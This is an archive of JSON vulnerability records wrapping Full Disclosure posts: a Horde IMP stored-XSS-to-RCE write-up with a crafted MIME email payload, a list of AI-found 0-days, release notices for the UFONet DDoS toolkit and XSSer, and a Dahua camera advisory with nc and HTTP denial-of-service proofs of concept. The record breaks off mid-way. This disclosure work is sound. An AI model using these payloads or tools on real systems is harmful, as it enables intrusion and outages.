Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "FD - Half-click",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Evan Tang"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/115"
        },
        {
          "url": "https://blog.evan.lat/posts/CVE-2026-65053/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/115"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0133",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115",
            "automated": true,
            "contentSha256": "994cae962871473fc31c842afa1725265e1e9be8bc37bb82c27388c4c46efad8",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/115",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T16:24:09Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0133"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "A project is",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "zz lin"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "I came across a project, \"0day Rubbish\", that states it will continuously\ndisclose 0-day vulnerabilities discovered by an AI-driven research process\n(a multi-LLM ensemble of Claude, OpenAI, DeepSeek and GLM). For each\nvulnerability the project publishes a full technical analysis together with\na working exploit script and step-by-step reproduction instructions. The\nproject\u0027s content is hosted at:\n\n    https://0day-rubbish.com/blog\n\nThe first batch already covers ten previously undisclosed vulnerabilities\nacross eight enterprise products, ranging from CVSS 7.3 to 9.8. The list\nbelow summarises them for the community\u0027s awareness.\n\nThe vulnerabilities, in descending CVSS order:\n\n1. InterSystems IRIS - FolderManager Property Injection RCE\n   - Product: InterSystems IRIS\n   - Version: 2026.1.0.234.1 (Community Edition); versions sharing the\n     FolderManager / broker surface\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution\n   - Link: https://0day-rubbish.com/blog/intersystems-iris-foldermanager-rce\n\n2. AdRem NetCrunch - Cross-Session Hijack RCE\n   - Product: AdRem NetCrunch (Windows network monitoring)\n   - Version: 16.0.0.8397 RC; versions sharing the Node.js session-reuse path\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution (SYSTEM)\n   - Link: https://0day-rubbish.com/blog/adrem-netcrunch-session-hijack-rce\n\n3. Altus BluePlant - Hardcoded Credentials RCE\n   - Product: Altus BluePlant (SCADA HMI / ICS software)\n   - Version: 9.1.40; versions sharing the T.InfoService.Service /\n     FileServer.RunProcess path\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution\n   - Link: https://0day-rubbish.com/blog/altus-blueplant-hardcoded-creds-rce\n\n4. Brekeke SIP Server - Unauthenticated Nashorn JS Engine RCE\n   - Product: Brekeke SIP Server (SIP Proxy / Registrar)\n   - Version: v3.19.1.8p1 (Evaluation Edition); versions sharing the\n     ProvisioningTest bean\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution\n   - Link: https://0day-rubbish.com/blog/brekeke-sip-server-nashorn-rce\n\n5. Brekeke SIP Server - Unauthenticated Zip Slip Webshell RCE\n   - Product: Brekeke SIP Server\n   - Version: v3.19.1.8p1 (Evaluation Edition); versions sharing the\n     ProvisioningModelImport / Zip.extractAll code\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution (Zip Slip)\n   - Link: https://0day-rubbish.com/blog/brekeke-sip-server-zipslip-rce\n\n6. DataSunrise Suite - Email Verification Code Brute Force RCE\n   - Product: DataSunrise Suite\n   - Version: 11.2.17.12820; versions sharing the forgotten-password flow\n   - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n   - Class: Unauthenticated remote code execution\n   - Link: https://0day-rubbish.com/blog/datasunrise-email-bruteforce-rce\n\n7. Brekeke SIP Server - Authentication Fail-Open Primitive\n   - Product: Brekeke SIP Server\n   - Version: v3.19.1.8p1 (Evaluation Edition); versions sharing the\n     ScopeBean.checkScope() framework\n   - CVSS: 9.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n   - Class: Authentication bypass exposing 23 unauthenticated beans\n   - Link: https://0day-rubbish.com/blog/brekeke-sip-server-auth-failopen\n\n8. Acumatica ERP - Customization Publish Webshell RCE\n   - Product: Acumatica ERP (.NET ERP platform)\n   - Version: 2026 R1 (build 26.101.0225); versions sharing the\n     CstRollbackList.WriteFile / CstFileWriter.UpdateFile publish path\n   - CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n   - Class: Authenticated remote code execution (webshell via path traversal\n     in customization publish)\n   - Link: https://0day-rubbish.com/blog/acumatica-customization-webshell-rce\n\n9. AdRem NetCrunch - Startup Script RCE\n   - Product: AdRem NetCrunch\n   - Version: 16.0.0.8397 RC; versions exposing the\n     INcStartupScript.SetScriptOptions / INetCrunchServer.RestartNCServer RPC\n   - CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n   - Class: Authenticated remote code execution (SYSTEM)\n   - Link: https://0day-rubbish.com/blog/adrem-netcrunch-startup-script-rce\n\n10. Altus iX Developer - XAML Deserialization RCE\n    - Product: Altus iX Developer (SCADA HMI engineering IDE)\n    - Version: 2.53.65422; versions sharing the ScreenXamlSerializer /\n      XamlReader.Load path\n    - CVSS: 7.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n    - Class: Local / user-interaction remote code execution via malicious\n      screen file\n    - Link: https://0day-rubbish.com/blog/altus-ix-developer-xaml-rce\n\nObservations on the project\u0027s disclosure posture\n\nThe project presents its work as defensive security research and, according\nto its own pages, operates a risk-driven disclosure model: it publishes full\nroot-cause details, exploit code and reproduction steps so that vendors can\nverify and patch and defenders can detect and mitigate. Each advisory page\nincludes a self-contained exploit script (Python or shell, pure standard\nlibrary where possible) against a default or evaluation deployment of the\naffected product; the unauthenticated entries require no credentials beyond\nproduct defaults. The project attributes discovery to its automated AI\nresearch process. I am noting this only to characterise what the project\nsays about itself; I make no claim about its disclosure ethics.\n\nReference\n\n    https://0day-rubbish.com/blog\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/29"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/29"
        },
        {
          "url": "https://0day-rubbish.com/blog"
        },
        {
          "url": "https://0day-rubbish.com/blog/acumatica-customization-webshell-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/adrem-netcrunch-session-hijack-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/adrem-netcrunch-startup-script-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/altus-blueplant-hardcoded-creds-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/altus-ix-developer-xaml-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/brekeke-sip-server-auth-failopen"
        },
        {
          "url": "https://0day-rubbish.com/blog/brekeke-sip-server-nashorn-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/brekeke-sip-server-zipslip-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/datasunrise-email-bruteforce-rce"
        },
        {
          "url": "https://0day-rubbish.com/blog/intersystems-iris-foldermanager-rce"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/29"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "A project is publishing full analyses of AI-discovered 0-days - first batch of 10 with reproducible exploits",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0132",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/29",
            "automated": true,
            "contentSha256": "2a689626266cca1096e02bb03c064160976b85cb4dccd4192c36451b1ea5ea1f",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/29",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-21T09:13:14Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0132"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "New Release UFONet",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "psy"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi Community,\n\nI am glad to present a new release of this tool:\n\n  - https://ufonet.03c8.net\n\n---------\n\n\"UFONet is a free software, P2P and cryptographic -disruptive toolkit-\nthat allows to perform DoS and DDoS attacks; on the Layer 7 (APP/HTTP)\nthrough the exploitation of Open Redirect vectors on third-party\nwebsites to act as a botnet and on the Layer3 (Network) abusing the\nprotocol.\"\n\n\"It also works as an encrypted DarkNET to publish and receive content by\ncreating a global client/server network.\"\n\n---------\n\nMain options are:\n\n  * DDoS (botnet) + DoS\n  * Auto-update\n  * Clean code\n  * Documentation with examples\n  * Web/GUI Interface\n  * Proxy to connect to \u0027zombies\u0027 (ex: tor)\n  * Change HTTP Headers (User-Agent, Referer, Host...)\n  * Configure requests (Timeout, Retries, Delay, Threads...)\n  * Search for \u0027zombies\u0027 on different search engines\n  * Test vulnerabilities on \u0027zombies\u0027\n  * Download/Upload \u0027zombies\u0027 from/to others\n  * Inspect a target (HTML objects sizes)\n  * Set a place to \u0027bite\u0027 on a target (ex: big file)\n  * Control number of rounds to attack\n  * Apply cache evasion techniques\n  * Advanced queries (ex: Verb tunneling exploitation)\n  * Supports GET/POST\n  * Multithreading\n  * Order \u0027zombies\u0027 to attack you for benchmarking\n  * Geomapping / Visual data\n  * [...]\n\n---------\n\nFAQ:\n\n  - https://ufonet.03c8.net/FAQ.html\n\n---------\n\nPackages:\n\n  * [source]:\n\n  - https://code.03c8.net/epsylon/ufonet\n\n  * [mirror]:\n\n  - https://github.com/epsylon/ufonet\n\n  * [.zip]:\n\n  - https://ufonet.03c8.net/ufonet/ufonet-v2.0.zip\n\n  * [.tar.gz]:\n\n  - https://ufonet.03c8.net/ufonet/ufonet-v2.0.tar.gz\n\n---------\n\nTorrents:\n\n  * [.zip.torrent]:\n\n  - https://ufonet.03c8.net/ufonet/ufonet-v2.0.zip.torrent\n\n  * [.tar.gz.torrent]:\n\n  - https://ufonet.03c8.net/ufonet/ufonet-v2.0.tar.gz.torrent\n\n-------------------------\n\nHappy crashing! ;-)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/25"
        },
        {
          "url": "https://code.03c8.net/epsylon/ufonet"
        },
        {
          "url": "https://github.com/epsylon/ufonet"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://ufonet.03c8.net"
        },
        {
          "url": "https://ufonet.03c8.net/FAQ.html"
        },
        {
          "url": "https://ufonet.03c8.net/ufonet/ufonet-v2.0.tar.gz"
        },
        {
          "url": "https://ufonet.03c8.net/ufonet/ufonet-v2.0.tar.gz.torrent"
        },
        {
          "url": "https://ufonet.03c8.net/ufonet/ufonet-v2.0.zip"
        },
        {
          "url": "https://ufonet.03c8.net/ufonet/ufonet-v2.0.zip.torrent"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "New Release: UFONet v2.0 - \"R3DST4R!\"...",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0114",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/25",
            "automated": true,
            "contentSha256": "af8ac220085aed5367490a941b8a28dbc4bf141647e436b2041276168b869143",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-09T19:05:11Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0114"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "XSSer v.1.9 -",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "psy"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi FD,\n\nI am glad to present a new release of this tool:\n\n  - https://xsser.03c8.net\n\n---------\n\n\"Cross Site \"Scripter\" (aka XSSer) is an automatic -framework- to\ndetect, exploit and report XSS vulnerabilities in web-based\napplications. It provides several options to try to bypass certain\nfilters and various special techniques for code injection.\"\n\n---------\n\nXSSer has pre-installed [ \u003e 1500 XSS ] attacking vectors and can\nbypass-exploit code on several browsers/WAFs:\n\n- [Cloudflare] Cloudflare WAF\n- [Akamai] Akamai (Kona / App \u0026 API Protector)\n- [AWS] AWS WAF\n- [Azure] Azure Front Door WAF\n- [Imperva] Imperva (Incapsula / Cloud WAF)\n- [F5] F5 BIG-IP ASM / Advanced WAF\n- [Barracuda] Barracuda WAF\n- [ModSec] Mod-Security + OWASP CRS v3\n- [Wordfence] Wordfence (WordPress)\n- [Sucuri] Sucuri (CloudProxy)\n- [FortiWeb] Fortinet FortiWeb\n- [WebKnight] AQTRONIX WebKnight\n\n---------\n\nThis release (v1.9) called \"Bl4ck Swarm!\" has added this new changes:\n\nhttps://github.com/epsylon/xsser/blob/master/doc/CHANGELOG\n\n---------\n\nCode/Packages:\n\n  * [source]:\n\n  - https://code.03c8.net/epsylon/xsser\n\n---\n\n  * [mirror1]:\n\n  - https://github.com/epsylon/xsser\n\n  * [mirror2]:\n\n  - https://sourceforge.net/p/xsser/code/ci/master/tree/\n\n--------\n\n  * [.zip]:\n\n  - https://xsser.03c8.net/xsser/xsser-1.9.zip\n\n  * [.tar.gz]:\n\n  - https://xsser.03c8.net/xsser/xsser-1.9.tar.gz\n\n---\n\n  * [.tar.gz.torrent]\n\n  - https://xsser.03c8.net/xsser/xsser-1.9.tar.gz.torrent\n\n\n  * [.zip.torrent]\n\n  - https://xsser.03c8.net/xsser/xsser-1.9.zip.torrent\n\n-------------------------\n\nHappy \"Cross\" Hacking! ;-)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/24"
        },
        {
          "url": "https://code.03c8.net/epsylon/xsser"
        },
        {
          "url": "https://github.com/epsylon/xsser"
        },
        {
          "url": "https://github.com/epsylon/xsser/blob/master/doc/CHANGELOG"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://sourceforge.net/p/xsser/code/ci/master/tree/"
        },
        {
          "url": "https://xsser.03c8.net"
        },
        {
          "url": "https://xsser.03c8.net/xsser/xsser-1.9.tar.gz"
        },
        {
          "url": "https://xsser.03c8.net/xsser/xsser-1.9.tar.gz.torrent"
        },
        {
          "url": "https://xsser.03c8.net/xsser/xsser-1.9.zip"
        },
        {
          "url": "https://xsser.03c8.net/xsser/xsser-1.9.zip.torrent"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "XSSer v.1.9 - \"Bl4ck Swarm!\" released",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0113",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/24",
            "automated": true,
            "contentSha256": "7a4ea214839775624f01456e2826ec3f1d0f59bbb5784c9df3fced1e037be9bd",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-09T18:58:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0113"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260611-0\n-------------------------------------------------------------------------------\ntitle| Multiple Denial of Service\nproduct| Dahua DH-IPC-HFW Series\nvulnerable version| \u003c=V3.142.0000000.8.R.250826\nfixed version| Versions build including and after 2026-03-26.\nCVE number| CVE-2026-29115, CVE-2026-29116\nimpact| High\nhomepage| https://www.dahuasecurity.com/\nfound| 20.10.2025\nby| T. Weber, S. Eisenreich-Dietz\n| (Office Vienna)\n| CyberDanube Security Research\n| Vienna\n|\n| https://www.cyberdanube.com\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"Dahua Technology is a world-leading video-centric AIoT solution and service\nprovider. Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/120"
        },
        {
          "url": "http://192.168.19.136"
        },
        {
          "url": "http://192.168.19.136/"
        },
        {
          "url": "https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.dahuasecurity.com/"
        },
        {
